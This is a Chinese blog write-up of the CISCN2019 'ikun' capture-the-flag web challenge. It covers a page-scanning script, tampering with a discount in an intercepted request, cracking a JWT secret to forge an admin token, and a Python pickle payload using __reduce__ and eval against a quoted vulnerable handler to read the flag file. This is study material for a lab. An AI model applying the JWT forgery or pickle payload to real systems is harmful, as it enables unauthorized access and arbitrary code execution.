Z1d10tのBlog

A note for myself,have fun!

  1. 1. 碎碎念:
  2. 2. 解题:

[CISCN2019 华北赛区 Day1 Web2]ikun

碎碎念:

一道关于jwt和python反序列化的题目,对我来说很新颖,暂时只会php的反序列化,就当作学习题目了,然后越做到后面的题目发现会python脚本干一些机械重复性的事情真的很有用,得找时间去学着写脚本。

解题:

进入题目

img

看过源码一些正常操作之后什么也没发现,看到一句话,应该是让我们买lv6,在这之前先去注册登录,然后日常看一下admin的用户,发现是已经注册过的。

一开始我都是一页一页的在找,发现找了10几页都没有找到,就感觉不对劲了,然后看了大佬的wp,发现要用脚本去找,最后page=181,我真的人都傻了

这里放下大佬的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

import time

for i in range(1,200):

time.sleep(0.8)

print(i)

url = 'http://ca5b02fb-d09b-45b9-b0ff-a14785826592.node3.buuoj.cn/shop?page={}'.format(i)

r = requests.get(url)

if 'lv6.png' in r.text:

print("找到lv6-----{}".format(i))

break

其实这个脚本还是蛮容易理解的,将页数格式化,让后一直循环,当该页面存在lv6.png内容时,就说明找到了

但是这里要注意,一定让脚本暂停0.8秒,因为buu会防爬

img

img

找到之后发现这个钱数我们买不了,抓包查看,发现有折扣

img

直接修改一下,发现页面跳转了

img

img

只容许admin访问,这也应印证了之前注册的时候admin已经被注册过

抓包分析一下,这里就是关于jwt的知识点了,参考:https://www.cnblogs.com/cjsblog/p/9277677.html

就我个人认为,类似于我们平常做题的php session用于记录当前登录用户会话信息

那么弄明白之后就试着去伪造这个jwt,把我们的jwt伪造成admin的那么不就可以成功嘛

img

先将这个jwt字符串给 弄回原来的模样 这里有个工具:https://jwt.io/

img

发现存在我们登录名称,直接改为admin,再抓包可以嘛,理论可以,但是这里还存在一个key,必须拿到这个key才能再反编译回去符合他的要求,这里就有个暴力破解jwt key的脚本 https://github.com/brendan-rius/c-jwt-cracker

我直接是放在kali环境下了,因为还要配置docker环境,环境配置好以后,里面有个文件说明,看看就会使用。

img

注意要用root身份 爆出 key为 1Kun

现在将用户换为 admin key使用 1Kun

img

img

然后查看源码 发现一个压缩包

img

下载下来

看了大佬的wp 发现Admin.py存在反序列化漏洞

img

源码附上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

这里的pickle模块应该就是属于python 的序列化与反序列化模块

img

看到become存在反序列化 那么我们就可以像php反序列化漏洞一样 构造读flag的序列化字符串 然后传给become就可以获得flag了

本地构造:

1
2
3
4
5
6
7
8
9
10
import pickle
import urllib

class payload(object):
def __reduce__(self): ##当pickle对象被调用时自动执行
return (eval, ("open('/flag.txt','r').read()",)) ##注意要是元组

a = pickle.dumps(payload()) ##如果对pickle不理解可自行百度
a = urllib.quote(a)
print a

这里我在本机vscode会报错

img

发现这个脚本是属于python2的 我这是python3 所以我只好去我的kali虚拟去跑

注意这里要把中文注释删了 不然会报错

img

然后点击 一键成为大会员 抓包 修改become值

成功拿到 flag

img

本文最后更新于 天前,文中所描述的信息可能已发生改变